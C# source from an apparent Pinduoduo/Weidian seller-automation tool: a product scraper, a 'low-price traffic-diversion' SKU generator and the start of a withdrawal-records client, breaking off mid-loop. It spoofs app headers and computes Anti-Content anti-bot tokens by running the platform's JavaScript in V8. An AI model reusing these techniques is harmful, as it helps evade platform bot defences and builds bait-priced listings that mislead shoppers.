using Newtonsoft.Json.Linq;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Work.Api;
namespace Work.CollectClass
{
public class WeiDianProductCollect
{
public string Name, TempHtml = "";
public string message = "";
public bool OnSale = true;
public static List<long> TempIds = new List<long>();
public static List<long> DeleteIds = new List<long>();
public ProductCollectBase pb = new ProductCollectBase();
public TaobaoProductBase Product;
public WeiDianProductCollect(TaobaoProductBase product)
{
Product = product;
}
public WeiDianProductCollect(string name, TaobaoProductBase product)
{
Name = name;
Product = product;
}
public void Get()
{
try
{
Getx();
}
catch
{
}
}
public void Getx()
{
message = "";
if (DeleteIds.Contains(Product.FromId))
{
LogSave.Add(Name, "商品已经下架:" + Product.FromId);
message = "商品已经下架:" + Product.FromId;
OnSale = false;
Thread.Sleep(500);
return;
}
string cookies = "";
if (TaobaoMobileCollect.ProductTemp.ContainsKey(Product.FromId))
{
pb = TaobaoMobileCollect.ProductTemp[Product.FromId].Clone();
return;
}
if (TempIds.Contains(Product.FromId) && string.IsNullOrEmpty(TempHtml))
Thread.Sleep(5 * 1000);
if (!TempIds.Contains(Product.FromId))
TempIds.Add(Product.FromId);
if (TaobaoMobileCollect.ProductTemp.ContainsKey(Product.FromId))
{
pb = TaobaoMobileCollect.ProductTemp[Product.FromId].Clone();
return;
}
bool canUse=false;
bool userData = false;
string serverTempHtml = ServerTemp.Get(4, Product.FromId.ToString(), out canUse);
if (canUse)
{
userData = true;
TempHtml = serverTempHtml;
}
string url = "https://weidian.com/item.html?itemID=" + Product.FromId;
string refere ="";
string html = "";
if (string.IsNullOrEmpty(TempHtml) || (!TempHtml.Contains("item_name") && !TempHtml.Contains("item_name")))
{
Thread.Sleep(2000);
if (UploadPinduoduoMain.Running || UploadPinduoduoMain.RunningReplace)
{
int it = UploadPinduoduoMain.ShopThreadCount * UploadPinduoduoMain.SingleThreadCount;
Thread.Sleep(it * 200);
}
html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, cookies);
TempHtml = html;
}
else
{
html = TempHtml;
}
if ((string.IsNullOrEmpty(html) || !html.Contains("catID1") || !html.Contains("cat_id_1")) && !string.IsNullOrEmpty(serverTempHtml))
{
userData = true;
html = serverTempHtml;
}
#region 微店平台数据解析
if (html.Contains("item_name"))
{
html = GetHtml.Decode(html);
pb.from = "微店";
pb.id = Product.FromId;
pb.from_id = Product.FromId;
LogSave.Add(Name, "获取成功:" + Product.FromId);
pb.name = BaseRegex.GetStringJson(ref html, "item_name");
pb.name_share = BaseRegex.GetStringJson(ref html, "shareDesc");
pb.from_shop_name = BaseRegex.GetStringJson(ref html, "shopName");
pb.content_pinduoduo = "";// BaseRegex.GetStringJson(ref html, "goodsDesc");
string temp = BaseRegex.GetMatchRegexString(ref html, @"""imgs"":\[(""[\w\W]+?"")\],");
var m = BaseRegex.GetMatchRegex(ref temp, @"""([^""]+?)""");
for (int i = 0; i < m.Count; i++)
{
string img = m[i].Groups[1].Value.Replace("@750w_1l_50Q", "");
if (img.Contains("?"))
img = img.Substring(0, img.IndexOf("?"));
pb.Images.Add(img);
}
m = BaseRegex.GetMatchRegex(ref html, @"\{""attr_ids""[\w\W]+?\}");
if (m.Count==0)
{
temp = BaseRegex.GetMatchRegexString(ref html, @"""sku"":([\w\W]+?})}");
m = BaseRegex.GetMatchRegex(ref temp, @"""id"":[\w\W]+?""title""[\w\W]+?}");
}
for (int i = 0; i < m.Count; i++)
{
string list = m[i].Groups[0].Value;
SkuMapBase s = new SkuMapBase();
s.id = BaseRegex.GetLongJson(ref list, "id");
s.price = BaseRegex.GetDecimalJson(ref list, "price");
if (s.price < 1)
continue;
int num = BaseRegex.GetIntJson(ref list, "stock");
s.number = num;
s.sale_count = BaseRegex.GetIntJson(ref list, "soldQuantity");
pb.saleCount += s.sale_count;
s.prop_image = BaseRegex.GetStringJson(ref list, "img");
if (!string.IsNullOrEmpty(s.prop_image))
s.prop_image = s.prop_image.Replace("@750w_1l_50Q", "");
if (s.prop_image.Contains("?"))
s.prop_image = s.prop_image.Substring(0, s.prop_image.IndexOf("?"));
s.name = BaseRegex.GetStringJson(ref list, "title");//GetName(list, ref pb, s.prop_image);
pb.SkuMaps.Add(s);
}
temp = BaseRegex.GetMatchRegexString(ref html, @"\{""attr_list"":([\w\W]+?\}\]\}\])");
m = BaseRegex.GetMatchRegex(ref temp, @"\{""attr_title"":[\w\W]+?\}\]\}");
string image = "";
pb.Props.Clear();
for (int k = 0;m!=null&&k < m.Count; k++)
{
string list = m[k].Groups[0].Value;
bool had = false;
PropBase p = new PropBase();
for (int j = 0; j < pb.Props.Count; j++)
{
if (pb.Props[j].name == m[k].Groups[1].Value)
{
had = true;
p = pb.Props[j];
break;
}
}
if (!had)
{
var item = m[k].Groups[0].Value;
p = new PropBase();
p.name = BaseRegex.GetStringJson(ref item, "attr_title");
pb.Props.Add(p);
}
var mc= BaseRegex.GetMatchRegex(ref list, @"\{""attr_id"":[\w\W]+?\}");
for (int i = 0; i < mc.Count; i++)
{
had = false;
for (int j = 0; j < p.Values.Count; j++)
{
if (p.Values[j].name == mc[i].Groups[2].Value)
{
p.Values[j].image = image;
p.Values[j].image_from_url = image;
had = true;
break;
}
}
if (!had)
{
var item = mc[i].Groups[0].Value;
PropValueBase pv = new PropValueBase();
pv.id = BaseRegex.GetStringJson(ref item, "attr_id");
pv.name = BaseRegex.GetStringJson(ref item, "attr_value");
pv.image = BaseRegex.GetStringJson(ref item, "img");
pv.image_from_url = BaseRegex.GetStringJson(ref item, "img");
p.Values.Add(pv);
}
}
}
if (pb.Props.Count==0)
{
PropBase p = new PropBase();
p.name = "型号尺寸";
pb.Props.Add(p);
for (int i = 0; i < pb.SkuMaps.Count; i++)
{
var sku = pb.SkuMaps[i];
PropValueBase pv = new PropValueBase();
pv.id = sku.id.ToString();
pv.name = sku.name;
pv.image = sku.prop_image;
pv.image_from_url = sku.prop_image;
p.Values.Add(pv);
}
}
decimal maxPriceNew = 0;
for (int i = 0; i < pb.SkuMaps.Count; i++)
{
if (maxPriceNew < pb.SkuMaps[i].price)
maxPriceNew = pb.SkuMaps[i].price;
}
string firstSkuImage = pb.SkuMaps[0].prop_image;
if (pb.Props.Count == 1)
{
for (int j = 0; j < pb.Props[0].Values.Count; j++)
{
bool ishad = false;
for (int k = 0; k < pb.SkuMaps.Count; k++)
{
if (pb.SkuMaps[k].name.Replace(" ", "+").Contains(pb.Props[0].Values[j].name))
{
ishad = true;
break;
}
}
if (!ishad)
{
SkuMapBase sm = new SkuMapBase();
sm.id = BaseClass.GetTime(DateTime.Today);
sm.price = maxPriceNew;
sm.number = 0;
sm.sale_count = 0;
pb.saleCount += sm.sale_count;
sm.prop_image = firstSkuImage;
sm.name = pb.Props[0].name + ":" + pb.Props[0].Values[j].name + ";";
pb.SkuMaps.Add(sm);
}
}
}
if (pb.Props.Count == 2)
{
for (int j = 0; j < pb.Props[0].Values.Count; j++)
{
for (int k = 0; k < pb.Props[1].Values.Count; k++)
{
bool ishad = false;
for (int l = 0; l < pb.SkuMaps.Count; l++)
{
string[] li = pb.SkuMaps[l].name.Split(';');
if (li.Length == 2)
{
string n1 = li[0].Substring(li[0].IndexOf(":") + 1).Trim().Replace(" ","+");
string n2 = li[1].Substring(li[1].IndexOf(":") + 1).Trim().Replace(" ", "+");
if (pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n2 || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n1)
{
ishad = true;
break;
}
}
if (li.Length == 3)
{
string n1 = li[0].Substring(li[0].IndexOf(":") + 1).Trim().Replace(" ", "+");
string n2 = li[1].Substring(li[1].IndexOf(":") + 1).Trim().Replace(" ", "+");
string n3 = li[2].Substring(li[2].IndexOf(":") + 1).Trim().Replace(" ", "+");
if (pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n2 || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n1
|| pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n1
|| pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n2)
{
ishad = true;
break;
}
}
if (li.Length == 4)
{
string n1 = li[0].Substring(li[0].IndexOf(":") + 1).Trim().Replace(" ", "+");
string n2 = li[1].Substring(li[1].IndexOf(":") + 1).Trim().Replace(" ", "+");
string n3 = li[2].Substring(li[2].IndexOf(":") + 1).Trim().Replace(" ", "+");
string n4 = li[3].Substring(li[3].IndexOf(":") + 1).Trim().Replace(" ", "+");
if (pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n2 || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n1
|| pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n1
|| pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n2)
{
ishad = true;
break;
}
if (pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n4 || pb.Props[0].Values[j].name == n4 && pb.Props[1].Values[k].name == n3
|| pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n4 || pb.Props[0].Values[j].name == n4 && pb.Props[1].Values[k].name == n1
|| pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n4 || pb.Props[0].Values[j].name == n4 && pb.Props[1].Values[k].name == n2)
{
ishad = true;
break;
}
}
}
if (!ishad)
{
SkuMapBase sm = new SkuMapBase();
sm.id = BaseClass.GetTime(DateTime.Today);
sm.price = maxPriceNew;
sm.number = 0;
sm.sale_count = 0;
pb.saleCount += sm.sale_count;
sm.prop_image = firstSkuImage;
sm.name = pb.Props[0].name + ":" + pb.Props[0].Values[j].name + ";" + pb.Props[1].name + ":" + pb.Props[1].Values[k].name + ";";
pb.SkuMaps.Add(sm);
}
}
}
}
if (pb.cat1 == 0)
{
FromTitleToCat.UserApi = true;
FromTitleToCat ftx = new FromTitleToCat();
ftx.TaobaoProduct = new TaobaoProductBase();
ftx.Title = pb.name;
ftx.TaobaoProduct.Titlte = pb.name;
ftx.TaobaoProduct.FromId = pb.from_id;
ftx.TaobaoCatId = BaseRegex.GetIntJson(ref html, "bg_category_id");
ftx.JustGetCat = true;
ftx.Get();
if (!string.IsNullOrEmpty(ftx.Cat1) && ftx.Cat1 != "0")
{
pb.cat1 = int.Parse(ftx.Cat1);
pb.cat2 = int.Parse(ftx.Cat2);
pb.cat3 = int.Parse(ftx.Cat3);
pb.cat4 = int.Parse(ftx.Cat4);
}
}
var ftc = new FromTitleToCat();
pb.main_cid = ftc.GetMainCatId(pb.cat1);
pb.main_cat_name = ftc.MainCatName;
string eprice = BaseRegex.GetMatchRegexString(ref html, @"""expressFeeDesc"":""([\w\W]+?)元起""");
pb.express_price = string.IsNullOrEmpty(eprice) ? 0 : decimal.Parse(eprice);
pb.mall_id = BaseRegex.GetLongJson(ref html, "mallID");
pb.from_site_id = 6;
if (pb.price<=0 && pb.SkuMaps.Count > 0)
pb.price = pb.SkuMaps[0].price;
string sale = BaseRegex.GetStringJson(ref html, "soldText");
sale = BaseRegex.GetMatchRegexString(ref sale, @"销量\s*([\d\.万]+)");
if (!string.IsNullOrEmpty(sale))
{
sale = sale.Replace(".", "").Replace("万", "0000");
int sa = 0;
int.TryParse(sale, out sa);
pb.saleCount = sa;
}
string content = BaseRegex.GetMatchRegexString(ref html, @"""desc_content"":\[[\w\W]+?\{""text"":""([\w\W]+?)""");
if (string.IsNullOrEmpty(content))
{
string vItemId = BaseRegex.GetMatchRegexString(ref html, @"itemID=([\w\W]+?)""");
string detailUrl = "https://thor.weidian.com/detail/getDetailDesc/1.0?param={\"vItemId\":\"" + vItemId + "\"}";
string htmldetail = GetPostTaobaoHtml.UploadTaobao(detailUrl, refere, true, cookies);
content = BaseRegex.GetMatchRegexString(ref htmldetail, @"""desc_content"":\[[\w\W]+?\{""text"":""([\w\W]+?)""");
pb.before_price = BaseRegex.GetIntJson(ref htmldetail, "marketPrice") / 100m;
m = BaseRegex.GetMatchRegex(ref htmldetail, @"""url"":""([^""]+?)""");
for (int i = 0; i < m.Count; i++)
{
string img = m[i].Groups[1].Value.Replace("@750w_1l_50Q", "");
if (img.Contains("?"))
img = img.Substring(0, img.IndexOf("?"));
content += "<img src='" + img + "'>";
}
pb.content = content;
html += "<br/>" + htmldetail;
}
else
{
content = BaseRegex.GetMatchRegexString(ref html, @"""desc_content"":\[[\w\W]+?\{""text"":""([\w\W]+?)""");
pb.before_price = BaseRegex.GetIntJson(ref html, "marketPrice") / 100m;
m = BaseRegex.GetMatchRegex(ref html, @"""url"":""([^""]+?)""");
for (int i = 0; i < m.Count; i++)
{
string img = m[i].Groups[1].Value.Replace("@750w_1l_50Q", "");
if (img.Contains("?"))
img = img.Substring(0, img.IndexOf("?"));
content += "<img src='" + img + "'>";
}
pb.content = content;
}
if (!userData)
ServerTemp.Set(4, Product.FromId.ToString(), html);
}
#endregion
if (TaobaoMobileCollect.ProductTemp.Count > 1000)
{
TaobaoMobileCollect.ProductTemp.Clear();
}
if (!TaobaoMobileCollect.ProductTemp.ContainsKey(pb.from_id))
{
try
{
TaobaoMobileCollect.ProductTemp.Add(pb.from_id, pb);
}
catch
{
}
}
else
{
TaobaoMobileCollect.ProductTemp[pb.from_id] = pb;
}
}
public bool DeleteAndDown(string html)
{
if (string.IsNullOrEmpty(html))
return false;
if (html.Contains("<p>商品不存在</p>"))
return true;
if (html.Contains(">原商品已下架"))
return true;
if (html.Contains(">预售<"))
return true;
return false;
}
public string GetName(string list, ref ProductCollectBase pb, string image)
{
string temp = "";
var m = BaseRegex.GetMatchRegex(ref list, @"\{""spec_key"":""([^""]+?)"",""spec_value"":""([^""]+?)"",""spec_key_id"":([\d]+),""spec_value_id"":([\d]+)");
if (m.Count == 0)
m = BaseRegex.GetMatchRegex(ref list, @"\{""spec_key"":""([^""]+?)"",""spec_value"":""([^""]+?)""");
for (int i = 0; i < m.Count; i++)
{
temp += m[i].Groups[1].Value + ":" + m[i].Groups[2].Value + ";";
bool had = false;
PropBase p = new PropBase();
for (int j = 0; j < pb.Props.Count; j++)
{
if (pb.Props[j].name == m[i].Groups[1].Value)
{
had = true;
p = pb.Props[j];
break;
}
}
if (!had)
{
p = new PropBase();
p.name = m[i].Groups[1].Value;
if (m[i].Groups.Count > 3)
p.pinduoduo_id = m[i].Groups[3].Value;
pb.Props.Add(p);
}
had = false;
for (int j = 0; j < p.Values.Count; j++)
{
if (p.Values[j].name == m[i].Groups[2].Value)
{
p.Values[j].image = image;
p.Values[j].image_from_url = image;
had = true;
break;
}
}
if (!had)
{
PropValueBase pv = new PropValueBase();
if (m[i].Groups.Count > 4)
pv.id = m[i].Groups[4].Value;
pv.name = m[i].Groups[2].Value;
pv.image = image;
pv.image_from_url = image;
p.Values.Add(pv);
}
}
return temp;
}
public static string GetPinDuoDuoSimilarProductNameByImage(string imageUrl, string pddToken)
{
var url = "http://api.yangkeduo.com/api/search/img";
var data = JsonConvert.SerializeObject(new { flip = "1#1#" + Guid.NewGuid().ToString(), url = imageUrl.StartsWith("//") ? "https:" + imageUrl : imageUrl, sort = "_sales" });
string userAgent = BaseClass.AndroidUserAgent;
WebClientx wb = new WebClientx();
wb.Timeout = 30;
wb.Headers.Add("AccessToken", pddToken);
wb.Headers.Add("User-Agent", userAgent);
wb.Proxy = null;
wb.Headers.Add("Referer", "Android");
wb.Headers.Add("Content-Type", "application/json; charset=UTF-8");
string antiToken = SignHelper.GetSign();
wb.Headers.Add("anti-token", antiToken);
wb.Headers.Add("PDD-CONFIG", "00102");
wb.Headers.Add("p-appname", "pinduoduo");
wb.Headers.Add("X-PDD-QUERIES", "width=810&height=1440&net=1&brand=Android&model=MuMu&osv=6.0.1&appv=4.70.0&pl=2");
byte[] postData = Encoding.UTF8.GetBytes(data);
try
{
wb.Headers.Add("ContentLength", postData.Length.ToString());
var html = Encoding.UTF8.GetString(wb.UploadData(url, "POST", postData));
JObject jObj = JObject.Parse(html);
var productName = string.Empty;
if (jObj["items"] != null)
{
foreach (var item in jObj["items"])
{
productName = item["goods_name"].ParseToString();
break;
}
}
return productName;
}
catch (Exception e)
{
LogSave.Add(e.ToString());
return "";
}
}
public static string GetPDDProductImageUrl(long goodsId, string pddToken)
{
var imgUrl = GetProductImageUrlViaYouHui(goodsId);
if (string.IsNullOrEmpty(imgUrl))
{
imgUrl = GetProductImageUrlViaProductId(goodsId, pddToken);
}
return imgUrl;
}
public static string GetProductImageUrlViaYouHui(long goodsId)
{
string imgUrl = string.Empty;
try
{
string url = "https://youhui.pinduoduo.com/goods/goods-detail?goodsId=" + goodsId + "&r=" + BitConverter.ToInt32(Guid.NewGuid().ToByteArray(), 0);
string html = GetHtml.GetUtf8(url, BaseClass.ChromeUserAgent, "", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3");
string json = GetHtml.Resove(html, "<script id=\"__NEXT_DATA__\" type=\"application/json\">", "</script>");
if (!string.IsNullOrEmpty(json))
{
JObject jObj = JObject.Parse(json);
if (jObj != null)
{
foreach (string image in jObj["props"]["pageProps"]["goodsDetail"]["goodsGalleryUrls"].ToObject<JArray>())
{
imgUrl = image;
break;
}
}
}
}
catch (Exception ex)
{
LogSave.Add(ex.ToString());
}
return imgUrl;
}
public static string GetProductImageUrlViaProductId(long goodsId, string pddToken)
{
string imgUrl = string.Empty;
try
{
string url = "http://yangkeduo.com/goods.html?goods_id=" + goodsId;
string html = GetHtml.GetUtf8(url, BaseClass.ChromeUserAgent, "PDDAccessToken=" + pddToken);
string json = GetHtml.Resove(html, "window.rawData=", "}};");
if (!string.IsNullOrEmpty(json))
{
json += "}}";
JObject jObj = JObject.Parse(json);
if (jObj != null)
{
foreach (string image in jObj["store"]["initDataObj"]["goods"]["topGallery"].ToObject<JArray>())
{
imgUrl = image;
break;
}
}
}
}
catch (Exception ex)
{
LogSave.Add(ex.ToString());
}
return imgUrl;
}
public static string GenerateLowPriceSkus(long goodsId, decimal lowPrice, List<PropBase> productPropList, List<string> lowPriceSpecs, string pddToken)
{
string skuContent = string.Empty;
if (productPropList == null || productPropList.Count < 1)
return skuContent;
try
{
string url = "http://yangkeduo.com/goods.html?goods_id=" + goodsId;
string html = GetHtml.GetUtf8(url, BaseClass.ChromeUserAgent, "PDDAccessToken=" + pddToken);
string json = GetHtml.Resove(html, "window.rawData=", "}};");
if (!string.IsNullOrEmpty(json))
{
json += "}}";
JObject jObj = JObject.Parse(json);
if (jObj != null)
{
var goodsDetail = jObj["store"]["initDataObj"]["goods"];
if (goodsDetail != null)
{
StringBuilder sbSkuContent = new StringBuilder();
//把spec value名字从要上传的商品中拿出
List<string>[] propValueList = new List<string>[2];
string[] specTypeNames = new string[2];
for (int i = 0; i < productPropList.Count; i++)
{
propValueList[i] = new List<string>();
specTypeNames[i] = productPropList[i].pinduoduo_id;
foreach (var propValue in productPropList[i].Values)
{
if (propValue.is_used)
propValueList[i].Add(propValue.id);
}
}
var skuList = goodsDetail["skus"].ToObject<JArray>();
JToken pickedSku = null;
string specFirstValue = null;
List<string> specSecondList = new List<string>();
List<JToken> pickedSkuList = new List<JToken>();
var thumbUrl = string.Empty;
int specFirstIndex = -1;
//从低价引流商品中选出一个sku,有上传商品spec第一组中没有的spec
foreach (var sku in skuList)
{
var specs = sku["specs"].ToObject<JArray>();
decimal groupPrice = sku["groupPrice"].ParseToDecimal();
int quantity = sku["quantity"].ParseToInt();
if (specs.Count > 0 && quantity != 0 && groupPrice != 0 && groupPrice <= lowPrice)
{
for (int ii = 0; specFirstIndex == -1 && ii < specs.Count; ii++)
{
// 比较得出上传商品中第一组spec对应低价引流商品的spec索引
if (specs[ii]["spec_key_id"].ParseToString() == specTypeNames[0])
{
specFirstIndex = ii;
if (productPropList.Count == 2)
{
if (specs[1 - specFirstIndex]["spec_key_id"].ParseToString() != specTypeNames[1])
{
specFirstIndex = -1;
}
}
break;
}
}
if (specFirstIndex == -1)
{
break;
}
if (specFirstValue == null && !propValueList[0].Contains(specs[specFirstIndex]["spec_value_id"].ParseToString()))
{
specFirstValue = specs[specFirstIndex]["spec_value_id"].ParseToString();
pickedSku = sku;
thumbUrl = pickedSku["thumbUrl"].ParseToString();
thumbUrl = thumbUrl.StartsWith("//") ? "https:" + thumbUrl : thumbUrl;
if (productPropList.Count == 1)
{
break;
}
}
if (specFirstValue != null && specs[specFirstIndex]["spec_value_id"].ParseToString() == specFirstValue)
{
specSecondList.Add(specs[1 - specFirstIndex]["spec_value_id"].ParseToString());
pickedSkuList.Add(sku);
}
}
}
if (specSecondList.Count > 0)
{
//比较上传商品中第二组spec中没有的spec进行增加,保证使用最低价格区间的价格并且高于上家价格
int addNewSpecSecondIndex = -1;
for (int i = 0; i < specSecondList.Count; i++)
{
if (!propValueList[1].Contains(specSecondList[i]))
{
foreach (var productSpecFirst in propValueList[0])
{
//在上传商品中增加第二组没有的spec
sbSkuContent.AppendFormat(",{{\"is_onsale\":1,\"limit_quantity\":0,\"price\":\"{0}\",\"weight\":1000,\"multi_price\":\"{1}\"," +
"\"thumb_url\":\"{2}\",\"out_sku_sn\":\"{3}\",\"quantity\":0,\"spec_id_list\":\"[{4}]\",\"defaultQuantity\":0}}",
((int)((lowPrice + 1) * 100)).ToString(),
((int)(lowPrice * 100)).ToString(),
thumbUrl, goodsId.ToString(),
productSpecFirst + "," + ChooseSpecValue(lowPriceSpecs, 2, 1, specSecondList[i]));
}
addNewSpecSecondIndex = i;
//只需要增加一组没有的spec即可
break;
}
}
if (addNewSpecSecondIndex != -1)
{
//增加低价引流商品的一组sku
for (int i = 0; i < propValueList[1].Count; i++)
{
if (specSecondList.Contains(propValueList[1][i]))
{
//增加低价引流中第二组spec在上传商品中存在的
var ind = specSecondList.IndexOf(propValueList[1][i]);
sbSkuContent.AppendFormat(",{{\"is_onsale\":1,\"limit_quantity\":{0},\"price\":\"{1}\",\"weight\":1000,\"multi_price\":\"{2}\"," +
"\"thumb_url\":\"{3}\",\"out_sku_sn\":\"{4}\",\"quantity\":{5},\"spec_id_list\":\"[{6}]\",\"defaultQuantity\":{7}}}",
pickedSkuList[ind]["limitQuantity"].ParseToString(),
((int)((lowPrice + 1) * 100)).ToString(),
((int)(lowPrice * 100)).ToString(),
thumbUrl, goodsId.ToString(), pickedSkuList[ind]["quantity"].ParseToString(),
ChooseSpecValue(lowPriceSpecs, 2, 0, specFirstValue) + "," + ChooseSpecValue(lowPriceSpecs, 2, 1, specSecondList[ind]),
pickedSkuList[ind]["defaultQuantity"].ParseToString());
}
else
{
//在低价引流中增加上传商品有但低价引流第二组spec没有的
sbSkuContent.AppendFormat(",{{\"is_onsale\":1,\"limit_quantity\":0,\"price\":\"{0}\",\"weight\":1000,\"multi_price\":\"{1}\"," +
"\"thumb_url\":\"{2}\",\"out_sku_sn\":\"{3}\",\"quantity\":0,\"spec_id_list\":\"[{4}]\",\"defaultQuantity\":0}}",
((int)((lowPrice + 1) * 100)).ToString(),
((int)(lowPrice * 100)).ToString(),
thumbUrl, goodsId.ToString(),
ChooseSpecValue(lowPriceSpecs, 2, 0, specFirstValue) + "," + propValueList[1][i]);
}
}
//在低价引流中增加上传商品中第二组spec中没有的spec,保证有库存
sbSkuContent.AppendFormat(",{{\"is_onsale\":1,\"limit_quantity\":{0},\"price\":\"{1}\",\"weight\":1000,\"multi_price\":\"{2}\"," +
"\"thumb_url\":\"{3}\",\"out_sku_sn\":\"{4}\",\"quantity\":{5},\"spec_id_list\":\"[{6}]\",\"defaultQuantity\":{7}}}",
pickedSkuList[addNewSpecSecondIndex]["limitQuantity"].ParseToString(),
((int)((lowPrice + 1) * 100)).ToString(),
((int)(lowPrice * 100)).ToString(),
thumbUrl, goodsId.ToString(), pickedSkuList[addNewSpecSecondIndex]["quantity"].ParseToString(),
ChooseSpecValue(lowPriceSpecs, 2, 0, specFirstValue) + "," + ChooseSpecValue(lowPriceSpecs, 2, 1, specSecondList[addNewSpecSecondIndex]),
pickedSkuList[addNewSpecSecondIndex]["defaultQuantity"].ParseToString());
}
}
else if (specFirstValue != null)
{
//只有一个类型的spec
sbSkuContent.AppendFormat(",{{\"is_onsale\":1,\"limit_quantity\":{0},\"price\":\"{1}\",\"weight\":1000,\"multi_price\":\"{2}\"," +
"\"thumb_url\":\"{3}\",\"out_sku_sn\":\"{4}\",\"quantity\":{5},\"spec_id_list\":\"[{6}]\",\"defaultQuantity\":{7}}}",
pickedSku["limitQuantity"].ParseToString(),
((int)((lowPrice + 1) * 100)).ToString(),
((int)(lowPrice * 100)).ToString(),
thumbUrl, goodsId.ToString(), pickedSku["quantity"].ParseToString(),
ChooseSpecValue(lowPriceSpecs, 1, 0, specFirstValue), pickedSku["defaultQuantity"].ParseToString());
}
skuContent = sbSkuContent.ToString();
}
}
}
}
catch (Exception ex)
{
LogSave.Add(ex.ToString());
}
return skuContent;
}
private static string ChooseSpecValue(List<string> lowPriceSpecs, int itemsCount, int itemIndex, string defaultValue)
{
return (lowPriceSpecs != null && lowPriceSpecs.Count == itemsCount && !string.IsNullOrEmpty(lowPriceSpecs[itemIndex])) ? lowPriceSpecs[itemIndex] : defaultValue;
}
}
}
File diff suppressed because it is too large. Load diff
+187
View File
@@ -0,0 +1,187 @@
using AllBase;
using JavaScriptEngineSwitcher.Core;
using JavaScriptEngineSwitcher.V8;
using System;
using System.Collections.Generic;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Work.Api;
namespace Work.CollectClass
{
public class WithDrawAmount
{
public static string Name = "提现记录";
public ShopChatBase currentShop;
public static List<DrawAmount> TempShops = new List<DrawAmount>();
public static string Request_mms_pinduoduo_com(string url, string referer, string cookie, string data, string antiContent, IWebProxy proxy = null)
{
string responseText = "";
HttpWebResponse response = null;
try
{
//HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://mms.pinduoduo.com/cps/api/coupon/createCommonCoupon");
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
request.KeepAlive = true;
request.Accept = "application/json";
//request.Headers.Add("Anti-Content", @"0aoAfxnUgOQoU9dVEHIuLKYezEfQ51QpOcKVg_S0aww9S8dseM_tTxYptgFssmH7wfRCpRvfISyXp-bZ8hcq7ux0Z1kvhFUkfIMk7EsEefUAZS7Jv1vYHm1Cplb4GZ43dSFtKu19dO7snIyL-VRj0JFy0ETKDkf1EdaPbWEu22sZ4s1duGD6WO9lgeS-oTsEwwa9ohcX2E_DG2PggPHqIuxcN_tIthAewaqklSPvPmFwzYxrlo256wd2i74SMvTzGTB--UkZ3gPl5t6K-6IVCz1MDD7WDS9HeoGm4RBmyd0LIpXG400lOfKBvPh-z09PL3_hjiL1KiBCENrs1ANosN35LJ8zhlCRi0YrDxphd8LGJFWDG0LrARGRuMW7d3d4IlWlEKFFMiucGGNlIZqDyExDIMny-8T-KY8fJ8BnNuzWyr");
request.Headers.Add("Anti-Content", antiContent);
//request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36";
request.UserAgent = BaseClass.ChromeUserAgent;
request.ContentType = "application/json;charset=UTF-8";
request.Headers.Add("Origin", @"https://mms.pinduoduo.com");
request.Headers.Add("Sec-Fetch-Site", @"same-origin");
request.Headers.Add("Sec-Fetch-Mode", @"cors");
request.Headers.Add("Sec-Fetch-Dest", @"empty");
request.Referer = referer;
request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br");
request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9");
request.Headers.Set(HttpRequestHeader.Cookie, cookie);
if (proxy != null)
request.Proxy = proxy;
request.Method = "POST";
request.ServicePoint.Expect100Continue = false;
string body = data;
byte[] postBytes = System.Text.Encoding.UTF8.GetBytes(body);
request.ContentLength = postBytes.Length;
Stream stream = request.GetRequestStream();
stream.Write(postBytes, 0, postBytes.Length);
stream.Close();
response = (HttpWebResponse)request.GetResponse();
}
catch (WebException e)
{
if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response;
else responseText = "error," + e.Message;
}
catch (Exception ex)
{
responseText = "error," + ex.Message;
}
if (response != null)
{
if (string.IsNullOrEmpty(responseText))
responseText = ReadResponse(response);
response.Close();
}
Thread.Sleep(50 + Randomx.GetId(100));
return responseText;
}
public static string ReadResponse(HttpWebResponse response)
{
using (Stream responseStream = response.GetResponseStream())
{
Stream streamToRead = responseStream;
if (response.ContentEncoding.ToLower().Contains("gzip"))
{
streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress);
}
else if (response.ContentEncoding.ToLower().Contains("deflate"))
{
streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress);
}
using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8))
{
return streamReader.ReadToEnd();
}
}
}
public static string getAnti0aon()
{
string anti = "";
using (IJsEngine jsEngine = new V8JsEngine())
{
jsEngine.Execute(GetProductOnlineClass.PinDuoDUo_0ao);
anti = jsEngine.CallFunction("get_anti", "").ToString();
try
{ anti = "0ao" + anti.Substring(3); }
catch { }
}
return anti;
}
public void GetWithDraw()
{
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectWithMoney)
continue;
